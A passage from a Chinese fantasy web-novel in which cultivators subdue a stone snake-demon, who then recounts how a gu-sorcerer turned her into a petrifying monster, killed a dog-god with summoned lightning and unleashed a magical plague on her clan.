屠芜不确定道:“不是在蜕皮……吧?石雕也会蜕皮吗?” “啊?”曾换月咽了下口水,脑中冒出“女妖2.0版本”这个可怖的字样,“那那那,她蜕皮之后不会变得更强了吧?” “按照普通蛇的习性来看,蜕皮后的蛇会进入虚弱期。……”屠芜客观分析,“并且,蛇在蜕皮的时候,双眼很大概率会因为旧皮未完全脱落而会出现短暂的模糊。” 她话止于此,但几人都听明白了她的意思:如果想要对付 女妖,此时是最好的时机。 曾换月瞅着女妖裂缝越来越多的蛇尾巴,谨慎道:“但你确定这是在蜕皮吗?” 屠芜:“不确定,只是看起来像。” 曾换月:“……那你确定她蜕皮的时候是瞎的?” 屠芜:“不确定,只是有这概率。” “太不确定了吧姐妹!”曾换月苦着脸笑了,“我看我们还是别管她了。你俩刚才不是说要把她收了?那趁她现在半死不活的,赶紧收起来吧。” 屠芜瞅了瞅她哥,抿了下唇,下定决心般道:“你们闭上眼睛,我来试。” “小芜,”屠莱道,“我来。” 屠芜朝他一笑:“你是世间罕见的蛊修,要是出什么事了,我可担待不起这份愧疚。” 屠莱冷哼一声:“你是我妹妹,你出事我就不会愧疚吗?” “我不同意。” “不要任性了。” …… 石映心好心建议道:“不如你俩一起,要死一起死,这样谁都没机会愧疚了。” 屠家兄妹:…… “说得好,”屠莱气笑了,“下次别说了!” 顾梦真也被逗笑了,笑了两声又正色道:“你俩别争了,别忘了我的小木人还能派上用场呢。” 是哦! 于是大伙闭上眼睛,让鞠躬尽瘁的小木人二号小心翼翼地解开了套住女妖的衣袍。她们紧张地听着黑暗中的动静,时不时问顾梦真情况如何。 顾梦真感到有人拍了拍他的肩膀,这说明小木人没有变成石头,但他依旧不敢睁开眼睛:“好、好像没事?” 曾换月听出他的犹豫:“那你睁眼没?” “没……” “没事。”她们很快听到石映心的声音,轻快的语气非常有信服力,“睁眼吧。” 第223章 大伙提心吊胆地睁开眼,看见躺在地上神情木讷的女妖,她原先通红的双眼这会仿佛被蒙上了一层薄雾,只余下淡淡的粉色,而他们也还活着。和这蛇妖纠缠许久,总算能正眼和她对视了,几人都新奇地打量起来。 “接下来该怎么办?”顾梦真直勾勾地瞅着女妖雾蒙蒙的眼睛,语气很贪婪,“照我们之前说的……挖了她的眼睛,以绝后患?” 石映心二话不说就拔出了帝血剑:“我来。” 说着就往前走了几步,压根没跟大伙商量;明易紧跟在她身侧,面容微微绷着。除了衣袍被拿下来,女妖的双手和蛇尾依旧被五花大绑着,但此时她并不挣扎,就连之前乱舞的蛇发都安安静静地瘫在地上一动不动;她只睁着蛇眼望着虚空,空中发亮的灰尘落在她的石面上。 石映心半蹲下来,用帝血剑的剑尖对她的眼珠子一挑,一块蛇眼红宝石就跳了出来,瞧着非常轻松容易;又因为对方是个石雕模样,情景也不血腥。 她很快便拿到了这对蛇眼宝石,正看着其中如两个倒三角相接的瞳孔出神,边上的二师兄就递了个盒子过来:“放这里头吧,映心。” “嗯。” 石映心将蛇眼放入盒子中,手心的滚烫还未褪去,又听小师妹叫了声:“你们快看!” 转眼看去,就见快被裂缝碎得面目全非的石雕躯壳终于支撑不住,随着接二连三相互交叠的咔嚓声传来,从蛇尾开始一直到女妖的蛇发,石雕尽数碎开掉落而下,里头的景况随之显露—— 还是石雕,但不再是蛇妖,而是一个女人。 瞅她身上雕刻的衣服,不像是螺族的服饰,精雕细琢的华丽花纹表明她的身份不凡。 曾换月这会有“从蛇肚中刨出一个人”的荒诞感觉,她见那女人慢吞吞地从地上爬起来,小声道:“这位很可能就是……” 大伙也有些一言难尽:“嗯……估计就是……” 她们安静地等女人从石屑废墟中站起来,然后不紧不慢地用手打理了压根不需打理的石头发和石衣服,这才从容不迫地开口道:“多谢几位救了我。” “那个……”曾换月挥了挥手,“我们在你右手边呢?” 女人并不窘迫地转到右手边来,淡定道:“见笑了。” 顾梦真试探地问:“你……看不见?” 女人辨声转向他:“不错,因为你们拿走了我的眼睛。” 顾梦真一下捂住自己的储物袋:“这个嘛……我们可以解释。” “不必,我都明白。” “哦……这样啊。” 好了,该问些重要的问题了。明易问:“请问阁下是?” 女人微微抬起下巴:“在下正是帝女姬源。” 屠莱挑眉道:“你就是那个‘盘王元妃帝女之墓’的帝女?” “……”女人却是沉默了一下,忽然伸手飞出一道雷光,打到石壁上发出几声刺耳的“滋滋”。 几人被她一吓,心惊地随雷光望去,就见那原先刻着【盘王元妃帝女之墓】的一排红字这会只剩下【帝女之墓】四字了。大伙面面相觑不知道说啥,又听姬源道:“早同她说了不许这么刻……罢了,何必与一个小孩置气。” 六人:…… “那个,”顾梦真似乎很担心什么,主动道,“你放才说多谢我们救了你……那你能放我们出去吗?我们还有其他事情要做来着,哈哈。” 姬源微微颔首道:“此时离开石窟的出口已经开启。不过……你们暂时还不能离开。” 这先扬后抑的,大伙一口气都没松掉:“为什么啊?” 姬源道:“我好不容易才等来了活人,自然要做些什么。” “额,”屠芜瞥了眼石窟内满地的、碎得七零八落的、横截面还能看出人的血肉的石块,“其实来过的活人挺多的……” “不过是些贪婪的废物罢了。”姬源没什么感情道,“自古以来,能觅得宝藏者除了智勇双全的勇士,就是诡计多端的小人。我见你们几位双眸清澈,一身浩然正气,不像是卑俗之流;最重要的是……天意让我被你们所救,想来你们便是我等待已久的有缘人。” “不错!”曾换月挺起胸膛自豪道,“我们归壹派可是天下第一名门正派!” 屠芜接了一句:“药神谷可与之媲美。” “我不认识什么派什么谷,”姬源并不给几人面子,“我只知道你们拿走了我的宝贝,就要和我做交易。” 石映心问:“你的宝贝……是你的眼睛?” “不错。” “有何用处呢?” “自然大有用处。” “比如?” 姬源并不厌烦她的步步追问,还挺有耐心道:“何必着急,且听我说个故事,之后你们便明白了。” 不知为何大伙都是心一提,曾换月谨慎地问:“额,只是听故事,不用回答问题吧?” 姬源:“什么问题?” 顾梦真挠挠脸:“没没没,你说呗。” 姬源:“传说很久很久以前,在帝喾执政期间,有位在宫中侍奉的老婆婆得了一种古怪的耳疾,四处寻医而不愈,十分苦恼……” 六人:? “冒昧打断一下,”明易不得不出声道,“盘瓠的故事我们已经听过了。” 姬源一默,有些惊喜地喃喃道:“原来你们看过盘瓠棺材板下的故事了……” “嗯,”石映心见她似乎知道点什么,“那故事是谁写的,你吗?” “不是我,”姬源似乎笑了一下,“是金瑶。” 说到这,她抬起头来,看向天花板上被裂缝分开的一片红字:“这上头属于我的墓志铭也是出自她手。” 又出现一个新人物,石映心问:“金瑶是谁?” “既然你们看过盘瓠的墓志铭,那定认识盘叁。”姬源娓娓道来,“金瑶是盘叁名义上的妹妹,她无父无母,幼时被盘叁父母捡来,自小在螺族长大……” * 作为盘古英雄史诗中的附庸角色,姬源和金瑶二者故事的开启和彼此都脱不开关系。 金瑶人 称金四妹,因为她是家中第四个孩子,前头有两个哥哥一个姐姐,其中一个是大伙比较熟悉的金三,也就是后来的盘叁。姬源被世人熟知先是以帝喾长女帝女的身份,后为盘瓠元妃。 金四妹这小孩日常存在感不强,但认识她的人都不喜欢她。毕竟对于一个处于应当天真可爱活泼单纯的年纪的小孩来说,她显得格外地……阴恻恻;也不大合群,旁的孩子日日结伴玩耍,而瞧见她时要么就一人,要么就跟在她三哥后头。 关于这些议论,金四妹懒得理会,比起这些聒噪的族人,她更喜欢安静的虫蛇,饲养蛊虫是她仅有的爱好,并且也展露了奇异的天赋。 螺族虽钻研蛊术,但并非所有族人都会蛊术;会蛊术的蛊师之中也分天赋差距,能力高低。这里不得不提到她的三哥,确实是族中难得一见的有天赋有脑子的蛊师,凭一己之力让贫困如洗的一家八口人过上了好日子。 上边一个姐姐两个哥哥很早成家,金四妹算是从小跟在金三的屁股后面长大,对蛊术一事耳濡目染,再加上她聪明,没几年便成为了金三的得力助手。 不过大概是因为她沉默寡言(不爱搭理人),金三也没太把她当回事,很满意自己妹妹的安分老实;对于使唤她一事也非常理所当然,毕竟四妹本就是爹娘捡来的孤儿,这恩报在他身上才最有价值。 在金瑶漫长又短暂的孩童时期,但凡有一人在意过这家伙,也不会没发现她的聪明绝世,以及异于常人的精神状态。 这些只是前情提要。 话说这一日,金四妹外出捉虫,遇见了在河边发呆的姬源。这位盘王元妃一般深居简出,鲜少出门,就是出来也要带着面纱,螺族女人要戴面纱的习惯就是由她表率的。 不过金四妹不戴,过了十二岁也不戴。 她其实没见过这位元妃几面,上一次是两月前,她跟着三哥去盘王殿中帮她刚出生的第四个孩子剁尾巴。这次她偷偷留了一小节下来,想看这尾巴究竟能派上什么用处。 话说回来,对方应该不认识她,毕竟她总是很没存在感,跟在三哥边上比那些伺候人的丫鬟还要不起眼。正因此她并没打算和对方打招呼,就当做不认识她,这么路过好了。 “……金四妹?” 金四妹顿住脚步,回头看向她:“嗯。” 元妃似乎笑了下:“你认得我吗?” “……不认得。” “我是元妃,你前两个月跟着你哥哥来盘王殿替我的孩子剁狗尾巴,你忘了?” 金四妹只好给她行礼:“元妃安康。” “不必多礼。”元妃和善地说,“天就要黑了,你一个小姑娘要上哪去?金三呢?” 金四妹道:“我奉哥哥的命去山上捉虫。” 元妃有些惊讶:“他怎么放心你一人去?” “为何不放心?” “月黑风高,山中有猛兽和异虫,又怕居心叵测之人行凶……难道不危险?” 金四妹黑黑的小脸笑起来:“我比他们更危险。” 元妃看她瘦弱的小身板,无奈地笑道:“你很有本事吗?” “自然,”金四妹抬起下巴,倨傲道,“我的毒药可在眨眼间药倒一头猛兽,我的解药可解万虫之毒,我的五感六识灵敏过人,脑袋又聪明灵光,谁也无法伤害我。” 元妃听她骄傲的语气,只当做小孩在说笑:“这么看来,你比你的哥哥还厉害。” 金四妹下意识要承认下来,忽然对上她面纱上温和的双眼,顿了顿,口风一转道:“岂止。” “哦?” “我比狗神还厉害。”金四妹平静地说。 元妃脸上的笑意缓缓地消散了。 这便是二人的第一次正式见面,以金四妹头也不回地离开的没礼貌背影做落幕画面。 元妃惘惘地想,人怎么会比神厉害呢? 第224章 在这之后,金四妹常常在此处遇见元妃,每回她还要和她搭话;一开始金四妹还会道一句“元妃安康”,后来实在不耐烦了就不再行礼,到最后压根就懒得理她,连个眼神都不给就直接走开。 她得寸进尺,对方也得寸进尺,这一回居然跟在她后头进了山。 山上确实危险,金四妹不想带个累赘,转头不耐烦道:“你怎么不在家里看孩子?” 元妃见她总算理人了,有些高兴道:“殿中的丫鬟比我更会照顾孩子。” “这不对吧?” “哪里不对?” 金四妹挑眉道:“世上大部分母亲即使不擅长照顾孩子也不会甘愿就这么放任不管。”顿了顿又补充道:“……还每天守在外头蹲一个无关紧要的人。” “你不是无关紧要的人。”元妃看着她,认真地说,“我直觉你对我很重要,就像直觉我的孩子对我不重要一般。” 金四妹这才给了她一个正眼:“直觉?” “直觉。”元妃点点头。 金四妹喜欢直觉,她笑道:“说得好,你叫什么名字?” “姬源。”姬源说,“不过很久没人这么称呼我了。” “你的名字比我的好听。”金四妹说。 “是我母亲赐予的姓名。”姬源说到这,双目露出一丝哀愁,“我很想她,越来越想。” “为何不回去看她?” 姬源微微摇头道:“我离不开盘瓠,一离开他,我就像要死了一般的难受。可母亲也不会来此处看我,我让她蒙羞。” 死了一般的难受? 金四妹古怪地看着她:“你好古怪。” “怎么说?” “你这么爱盘瓠,为何不爱你和他的孩子?” 姬源的脸上露出一丝迷茫:“我……我不知道。也许爱也是一种不可理喻的直觉。” 金四妹想到什么,冷笑一声道:“这可不见得。” 姬源奇怪地见她走上前来,不由分说地拉起她的手腕开始把脉,脸上的表情从云淡风轻渐渐转为严肃。姬源的心不由得随之提起:“你为何面色如此……难道我得了不治之症?” 金四妹松开手,严肃的神情下一刻就笑开了:“哦,跟不治之症也差不了多少。” 姬源倒吸一口凉气:“怎么会?我并不觉得身体有恙。” “无声无息地掩盖直觉和感受的病才最可怖,”金四妹笑眯眯道,“难道不是吗?” 姬源有一瞬的心如死灰,但见面前 小孩脸上的笑容,又诡异地期待道:“你怎么笑得这样开心?” “因为现在有一个千载难逢的机会。”金四妹说,“既能证明我比三哥厉害,也能证明我比盘瓠厉害。” 姬源听她的语气中的跃跃欲试,试探地问:“这个机会就是治我的病吗?” “不错。” “你的意思是……”姬源是这么想的,“这个病你三哥治不了,狗神也治不了,只有你治得了?” “也许他们治得了吧。”金四妹无所谓道,“但他们不会救你。” 姬源一愣:“……怎么会?” “你中的蛊毒厉害非凡,普天之下只有我三哥有这样的本事;可我三哥懒得无缘无故地害人,定是有所图。他这人想要的不过是权利地位荣华富贵,那么,”金四妹琥珀色的双眼直勾勾地盯着她,“你觉得谁能给他这些呢?” 聪明的帝女一瞬间明白了她的意思,步伐踉跄地退了一步,心中的怒火还未生起,先感到一种无法抵抗的悲伤和无奈,她摇摇头,眼泪流畅地落了下来:“原来是这样……既然如此……那算了,算了,我不治了……对不住!” 金四妹看着她仓皇离去的背影,并未有任何感想,她明白对方所有的反应都是受到了蛊虫的影响,这时候去厌恶她的软弱是没意义的。 只是,现在有一个难得的机会送到她面前,怎么能叫她不心动呢? 螺族和蛊术相关的医术书籍之中,常常会见到这一句话:巫医不分,神药两解。她知道写这话的人多是借前人之言,其实个人并未达到此境界;比如那些舍嬷和蛊师给的虽是真药,但跳的都是假神。 可金四妹有个直觉,“神”是存在的,人能通过“巫”让神“看见”自己,从而借到神力。 而说到看管螺族的神,除了如今躺在盘王殿中穷奢极欲的狗神,就是雷神嫘祖了。 雷神…… 山风拂过,带来一阵新鲜的树木气息,虫蛇在树林中游走的声响清晰地传入她的耳中;金四妹深呼一口气,脸上扬起了心旷神怡的笑容。 世人都知雷神可求风调雨顺,却鲜少知道雷神亦掌管惩恶奖善之职。那就让她以姬源身上的蛊毒为证,献上狗神的罪过,试探这位嫘祖的实力如何…… 若她借到了神力,人和神之间又有何区别呢? 这日之后,金四妹开始研究那些被遗忘的巫术古籍,翻开尘埃封存的书页,夜以继日地苦读探索;她无所谓被她三哥知晓此事,反正对方压根不把她当回事。 她的直觉是对的。 不过几月,金四妹连夜爬到了山顶上,顶着黑压压的乌云跳了古怪的巫舞,远远望去就像一只漆黑的鬼在林间摆弄信夺下来的肢体,其景之可怖诡异难以言说。 可她真的借到了神力:只见面前的她精心饲养的蛊蛇猛地一绷,直蹿到空中隐入黑云之中,几次飞跃间伴着雷光,义无反顾地直冲盘王殿去,最后化作惊世雷电轰然落下—— 民间一片乌泱泱。 隔日,困顿的金四妹被金三拉了起来,听对方冷声道:“昨晚你上哪去了?还记得回来?别睡了,快随我去盘王殿救人。” 金四妹打了个哈欠,其实没多少失望:“啊,没被劈死啊。” 金三道:“可不是?帝女真是福大命大。” “……?”金四妹清醒过来,“你说谁?” “元妃昨晚被雷劈了,如今还在昏迷不醒,”金三抓着她的胳膊把她从床上拎了下来,“我不便为她详细诊治,是你发挥用处的时候了。” 金四妹:…… 想都不用想,定是姬源在蛊术的驱使下情不自禁地救了她的爱狗。 金四妹翻了个白眼,随她三哥进了盘王殿,走过听盘瓠哀戚爱妻以及“救不活她我要你们都陪葬”的流程后,总算见到了半死不活的姬源。 她为她把脉,心叹此人确实命大。不过命大的人不一定福大,指不定是此生的苦难还没受尽呢。 但这关她什么事呢?难道救一个要继续活着受苦的人是罪过吗? 金四妹收回手,但下一刻她的手腕就被抓住了。她抬起眼,看见姬源幽幽地看着她,虚弱地张了张嘴:“救……我……” “嗯嗯,”金四妹敷衍地说,“能救你的人不多,正好我是其中一个。” 姬源却不把手拿开,依旧道:“……救我。” “好好好。” “救我……”她这次总算强撑着把话说完了,“我要……回家……” 金四妹一愣,诧异地看向她:“你要回家?” “你想要什么……我都给你……”姬源苍白的脸上没有疼痛的泪水,仅是虚弱的冷漠,像一个无法不自尊的帝女,“我要报仇……不惜一切代价。” “不惜一切代价?”金四妹挑眉道,“我没有什么好心肠,和我交易的代价不菲。” 姬源仿佛应了一声,力竭地闭上了眼睛。 金四妹收回手,站在床边冷漠地打量着这具脆弱又强大的躯体。 这是一个绝妙的机会,她想,并非所有凡人都有资格和她做交易;可偏偏她是姬源,是帝女,她身上流着帝喾的血脉,自然也拥有一种类似人帝之灵的庇护,否则也不能抗下雷神之力。 她不清楚姬源与盘瓠还有她三哥之前存在什么是非恩怨,事实上她压根不好奇不在意。对她来说,世间与她无关的一切都不重要,哪怕有时候她也不明白自己究竟想要什么,但只要这一刻的心中存在一个念想,她就能为此不顾一切。 比如这段时日她总是想,狗神和人之间有何区别呢? 若是人杀了神,人还是“人”吗? 巫术又是什么,能借来神力的“巫”和人和神又有什么分别? 以及……人始终是“人”吗? * “四妹,两年过去,元妃为何迟迟不醒?” “不知道。” “不知道?以你的本事也治不了她?” “三哥你这是何意,若你觉得我是刻意为之,不如你去治好了?” “……”他当然不会去,最怕治不好,落得一个不如金四妹的名声。金三皱着眉头转了话头,“这段时日你都在捣鼓什么玩意?娘还有大姐大哥他们给你说亲,你怎么弄得一塌糊涂!居然给对方下蛊毒?” 金四妹毫不在意道:“他们自己送上门来,我不过是开个小玩笑罢了,又没玩死人。” “胡闹!”金三大骂道,“你可知你这些所作所为会败坏我的名声?” “既然如此,”金四妹笑眯眯地说,“你将我是孤儿的事传言出去好了,顺便和我断绝关系算了。” 金三:…… 他知他三妹天赋异禀,放她出去自立门户那可太亏了;本想让她嫁给他选好的手下,如此还能为他所用……不过,金三又想,嫁出去的妹妹泼出去的水,若她所嫁之人对他有二心,这个性情古怪的妹妹不见得还会顺从他这个毫无血缘关系的哥哥。 既如此,金三想明白了,不如不嫁。 “好,”他温和了语气道,“我知你不喜说亲,这姻缘一事是父母之命媒妁之言不错,但缘分也很重要,我会同娘她们说明白……至于你,就安心待在家中饲养蛊虫便好。” 金四妹头也不回地忙着手中的事:“嗯。” “还有,你那些稀奇古怪的蛊虫别再拿出去霍霍人了,就是开玩笑也要顾及我的身份。” “好好好。” “与其琢磨那些,不如想想怎么治好元妃的病!” “是是是。” “……” 第225章 盘螺二十年。 姬源从漫长的梦中醒来,眼前一片虚白,她被蒙上了一层眼纱。 她听见金四妹的声音:“你醒了。” “我……” 对方将她要拿下眼纱的手捉住了:“别急嘛,睡了这么久,第一眼应该见你最爱的人啊。” 姬源:“……我同你说的话你忘了?” “我记得清清楚楚。”对方的声音中有些笑意,“并且我们将要达成最完美的合作。” 姬源听不明白她在说什么,但灵敏地听见有熟悉的脚步声跑近了,很快有人推门进来,惊喜道:“爱妃?爱妃你醒了!” 姬源并没有任何动作,只木然地坐在那,感到床板的重量倾斜,有人握住了她的手,心疼地说:“你知道你睡了多久吗?你知道本王有多想你吗……你戴着眼纱做什么?金四妹,难道我的爱妃患了眼疾?” “没有啊陛下,只是元妃刚醒,这青天白日的,怕她双眼一时不适应。” “也好,她阎王殿走一趟,好不容易回来了,第一眼看见定要是本王。” 姬源感到有人将她的眼纱摘下,有滚烫的热气喷到她的眼皮上,像那只记忆的狗叼来球后在她身边喘气,一切久远,如做梦时的情景。 她睁开眼,看见那张明晃晃的欣喜的狗脸,在她无比厌恶的可怖爱意涌起之前,画面竟就此定格——她眼睁睁地看着面前的爱人脸上的狗皮变成了石面,整只人狗瞬间变成了石头。 姬源怔然地睁大眼睛,以为自己在做梦。 打破她梦境的是金四妹欢乐的笑声:“哈哈哈哈!哈哈哈哈!成了,我成功了!我成功了!” 什么意思? 姬源茫然地僵硬着,这时见边上伸过来一只手,很不客气地摸了摸盘瓠的狗头,顺着手往上望去,金四妹双眼发光,脸上满是得意的笑容:“怎么样?你说你要报仇,我便让你亲手、哦不,是亲眼杀了他……你满意吗,帝女?” “……我杀了他?可我什么都没做。” “你已成为世上最可怖的妖怪,”金四妹抬起她的下巴道,“只要你一个眼神,与你注视的人便会变成石头。” 姬源总算明白了怎么回事,但这一切太不可思议了,她望着和她对视的金四妹道:“可你没事。” 金四妹哼笑一声:“你是我炼制的妖怪,我当然有免疫的办法。” 她顾不上还在接受中的姬源,自顾自地得意自语:“你出自我手,只有我知道你的弱点,你又杀了神,那我岂不是比神还厉害?哈哈哈哈……” “变成妖怪……”姬源喃喃着,并没有多少情绪,“这就是你的办法?” “你以为还有别的办法吗?”金四妹瞥她一眼,没好气道,“你中了无情之蛊,此蛊毒能让你毫无缘由、不通情理地爱上盘瓠,并且随着蛊毒在你体内的时间越久,你的经脉和磁场也会被逐步改变,最后变成完全离不开盘瓠的形态……” “而我救你的时候,已经太晚了。我思来想去,唯一的办法就是改变你的肉身和血脉,将你从人变成妖怪,如此原先作用于人的蛊虫便控制不了你……怎么样,你现在看盘瓠,还有那种深刻的爱意吗?” “爱意?”姬源看着生命最后一个停在惊喜表情的盘瓠,平静道,“我只觉得他死得太容易了,我原想将他碎尸万段。” “我怎会让他死得那么容易?”金四妹轻柔地搭上她的肩膀,“他虽然变成了石头人,但并非直接死去了,而是要在石头内慢慢地感受生不如死的生机流逝,一点一滴地陷入无望的死亡。” 姬源这才笑了:“仍有些意犹未尽,不过也够了。那么……” 她看向笑眯眯的金四妹:“你想要的报酬就是变成妖怪的我吗?” “不错。”金四妹倨傲道,“你差点被天雷劈死,是我将你救活;活过来后也会是盘瓠的蛊术傀儡,又是我让你恢复神识……这么算,你相当于是欠了我两条命?此后余生,你应为我效忠。” 姬源微微叹了口气,倒是很快接受了:“好,你想要我做什么?” “我要你……” 话音未落,只听一声闷雷响起,金四妹猛地抬头往去:“糟了!” 姬源不明所以:“怎么了?” “有雷要来劈我,”金四妹咬牙笑了一声,“我杀了神,又将人变成妖,算是行了两件大逆不道之事,这是要现世报了。”看来是她之前请过雷,因此被盯上了。 姬源很识趣道:“我该如何帮你?” “哼,用不着你,”金四妹道,“我自有办法。” 就见她将石头盘瓠从床上拉了起来,往房屋中央一扔,接着掏出一只蛊蛇来,让蛇咬了一口指尖血后,将它放在了石头盘瓠上;她在警告般的闷雷声中忽然跳起了古怪的舞蹈,盘在石头上的蛊蛇也随她摇摆。 在姬源不解但尊重的注视下,天雷从天而降,气势汹汹地劈在了蛊蛇之上,随之将盘瓠身上的石面劈得七零八落,咔嚓咔嚓连着他的狗皮掉了下来,只剩一个血肉模糊的人狗。 他果真还活着,只见他瞪大着狗眼盯着她,缓慢地张了张嘴—— 轰! 第二道雷很快又落下,依旧劈在了人狗身上,这一下将他劈得焦黑,空中传来了肉被烤熟的焦味。两道雷照得屋中苍白明亮,外头却下起了漆黑的磅礴大雨。 盘王狗神倒在了地上,死在天雷之下,如此结束了他传奇的一生。 雷雨声中,姬源扯起一个很浅的笑容,她有些新奇地问坐下来喝茶休息的金四妹:“你方才是在做什么?” 金四妹瞥她一眼:“跳巫舞。” “巫……”姬源有印象,“母亲说,巫可沟通天地神明。” “不错。”金四妹笑道,“你倒是聪明,不过没我聪明。” 姬源问:“你想做什么?” 金四妹把茶盏一放,一边将那条已经死翘翘的蛊虫收起来,一边很寻常地说:“我学会了巫术,可沟通天地神明借来神力;又将神药交融,巫医结合,使人变成妖,妖杀了神;如今,还躲过了天雷的惩罚……” “最重要的是,”金四妹转过头来,朝姬源露出一个很单纯的开心笑容,“我还得到了你,帝女。” 帝女掀开被子下了床,从容地走到她面前单膝跪下行了大礼,仰望着她许下诺言:“重生之恩无以为报,姬源愿为你鞠躬尽瘁,死而后已。” 二人相视,从彼此的眼中看见了无法回头的决心。 盘螺二十年,天降神雷,劈死了盘王。金三大惊,隐瞒世人真相,宣告盘王携元妃归隐,并辅佐盘王长子继位,同年迎娶了盘王大女儿。 他始终不清楚盘王的死因,也不清楚接下来继位的长子、次子都不过是元妃的傀儡,早已被金四妹挖空了属于三魂六魄,因此活得不久,十年内相继死去。 这些年间,金四妹始终与深闺中不再面世的元妃交往密切,但无人在意两个弱女子的友好情谊。 有一日晚上,金四妹拖着一个半死不活的男人来了。 姬源轻描淡写道:“你若想杀谁,来找我便很容易,何必要脏了自己的手。” “这该死的贱人!”金四妹一脚把地上的男人踹飞,“他居然想·强·奸·我!还对我用了迷魂蛊,真是笑死人了!” 姬源闻言蹙起眉头:“好大的胆子。不过近日族内犯淫行之罪者越来越多……而且多是这种擅蛊术者,这是为何?” 金四妹轻哼一声道:“蛊术皆是阴招,可以弱胜强,本就和阴邪之术相差不远,走火入魔可太容易了。这几年在金三的带引下,全族会点蛊术的人都在竭力钻研蛊术,据说要炼制什么不死之药……完全是逆天而行,不走火入魔才怪了。” “竟是这样。” “这些无用的废物想炼制出不死之药简直是异想天开,”金四妹说到这,忽然轻蔑一笑,“不过,该死之人在去死之前还是有些用处的。” 姬源抬眼看她,幽暗的蛇眼很安静:“你想做什么?” “再一次试验。”金四妹道,“我需要你的血,姬源。还有以你的血液种下的那些花。” “那些花我不太满意,”姬源微微摇头道,“土壤不对。” “总之先试试,失败之后才知道缺了什么。” 姬源沉吟片刻,颔首道:“好。” 金四妹很快炼制 了一种传染性强大的蛊虫,将那位企图对她犯罪的男人作为源头,接下来发生的一切,以幸存族人的口吻是这般描述的: 【就是很突然的一场病疫,我们至今也不知是为何而起。“小倩回忆道,“只记得某一日清晨,外头突然传来几声怒吼般的狗叫,有人谩骂着出去查看情况,却有接二连三的惨叫神传来……】 【我看到有人一边吼叫着一边扑上去撕咬人,仿佛发了疯的野狗一般……有些人当场被咬死,有些没被咬死但被咬伤的,没过一刻钟也会被传染变异……满大街的鲜血和尸体,还有挂着残肢断臂四处砸门要伤人的病人……那些病人完全失去了人的意识,我们实在没办法,只好在他们咬伤更多人之前将他们杀死。】 【可第一日的悲剧还未消停,第二日一早又有人莫名发病,好在这次大家有了经验,很快将那人束缚起来,这才没造成太大的伤亡。当时叫来了族中所有的蛊师医师来为他诊断,其中就有盘叁……】 第226章 不错,这场瘟疫正是出自金四妹之手,不过其中的细节还需补充。 比如这病其实只能传染给男人,毕竟她的目标是试验,打算让“人”变成“行尸走肉”;而缺乏理智喜好贪欲控制不住犯罪的男人、尤其是因炼制蛊虫而在走火入魔边缘的男人最易成为蛊虫的温床;至于螺族女人,能学蛊术者压根没几个,因此并不具备得病的条件。 若有心之人统计当时的伤亡便会发现,死者中基本没女人,甚至有些女人被咬之后侥幸地存活了下来,但因无人在意,她们又弱小怕事并不宣扬,因此不被当做特别的案例……毕竟当时医师们的主要目标是为了救男人。 而金三发现了。 他气势汹汹地来找到了四妹:“这是不是你做的好事!?” 金四妹一脸淡然:“是又如何?” “是你要如何!?” “族内的蛊师都已经烂透了,为炼制蛊虫走火入魔,他们死不足惜。” “这也不是你胡作非为的理由!” “胡作非为?”金四妹冷笑一声,“别以为我不知道你默许了落花洞的事,那些男人走火入魔后和畜生也没有区别,对无辜的女子行惨无人道之事后又将她们的尸体废物利用再去炼制蛊虫……可你为了大兴蛊术,还有什么不死之药,堂堂副族长居然在暗中推波助澜!” 金三怔然看着她:“你……你居然什么都知道……” “我当然知道,不过是懒得管罢了。”金四妹朝他笑着,脸上的笑容越发嘲讽,“所以,你们能够以人做试验,为何我不能?若你不想我拔下你的伪善人皮,就不要管我,听明白了?” “……” 他当然听明白了,因此无法追究金四妹的过错,转身离去;可气的是他发现自己解不了四妹的蛊毒,这无疑意味着他技不如人。 不过他能承认吗?不能,达成目的的办法不止一种,既然正统大道走不通,他就另辟蹊径! 金三很快发现女人在此次瘟疫中的特殊价值,因此想到了“转移病症”之法,这可怖的蛊虫会让男人变得暴戾恣睢,沦为丧失意志的“疯狗”;可转移到女人身上之后,发疯情况却会减弱许多,变成寻常的压抑的烦躁。 他自然不能明晃晃地将“转移病症”之法坦白,不然会引起女子的不满,届时也不利于他的统治。 那么,趁现在族内混乱、众人未发现异常时,他先将此病“治愈”,再说这场瘟疫让女子留下了后遗症,必须早日婚嫁,否则就会发疯病,轻则易怒,重则癫狂伤人;而男子的阳盛之气可压制疯病,转为来月事时的阵痛…… 事实上,是他的解药只能压制男子二十年,在这之后他们的恶欲便会膨胀,从而催动蛊虫发作,只能通过房事转移给女子…… 好在他因祸得福登上了族长之位,从此制定规则、以习俗传统隐瞒真相就变得非常容易。 盘螺三十年,蛊师更名改姓为盘叁,成为螺族族长;在他的领导下,螺族进入了蓬勃发展的鼎盛时期。 * 盘螺三十二年。 “落花洞女?”金四妹打了个哈欠,“哦,有听过这回事。” 姬源正蹲在花圃前栽花:“盘叁知情不管,任由那些人放肆。” “他忙着求不死之药,这些事他压根不在意。” “是,所以我想让你帮忙,”姬源温和道,“救救那些无辜的女孩。” 金四妹撇了下嘴:“我不忙吗?” “你也忙,不过他没有人性,你有。” “人性难道是什么好玩意?”金四妹嗤笑一声,“最肮脏的是人性,最脆弱的也是人性,世上所有的人性都不可估量。” 姬源站起身来,转过头望着她,笑了笑道:“你说得不错,人性不是好东西,可偏偏你有一点。” “……” “好,那就抛开人性,若你将落花洞的事情献给雷神,她也许会对主持正义的你另眼相待。” “……嘶,这倒是一个让她少针对我的好办法……姬源,没想到你还懂些神性嘛。” “其实没差多少。” * “盘叁那个贱人!居然将我请来的天雷归功于那条死狗!”金四妹气急败坏道,“可恶,可恶!要不是我还不能离开螺城,我定要揭穿他的虚伪面目!” “别气了。”姬源为她倒了杯茶水,“如今落花洞已在他管控之下,还改名成狗神洞作为惩罚恶人之牢狱……你觉得此事寻常吗?” 金四妹翻了个白眼:“哼,我早知道他会看上洞中那池药水!他也是为了不死之药走火入魔了,人尸冤魂泡成的药水也敢收。” “不死之药……”姬源若有所思道,“世上真的有人能炼制出不死之药吗?” 金四妹轻笑一声:“除我之外别无可能。” “我想也是。”姬源也笑了,“这也与我有关,是吗?” “不错。” “可这么多年,我该吃的药也吃了,该泡的药水也泡了,”姬源似乎也有些忧心,“我已然感到自己完全是个妖怪,但……到底还缺了什么?” 好问题,金四妹也想知道,到底缺了什么呢? * “你要去罗宝山石窟?” “嗯,”金四妹一边收拾着东西,一边头也不回道,“前两日有一对通奸的男女从狗神洞中逃出去了,盘叁气得要死,打算用巫术封锁狗神洞。不过……我觉得此事并不简单。” 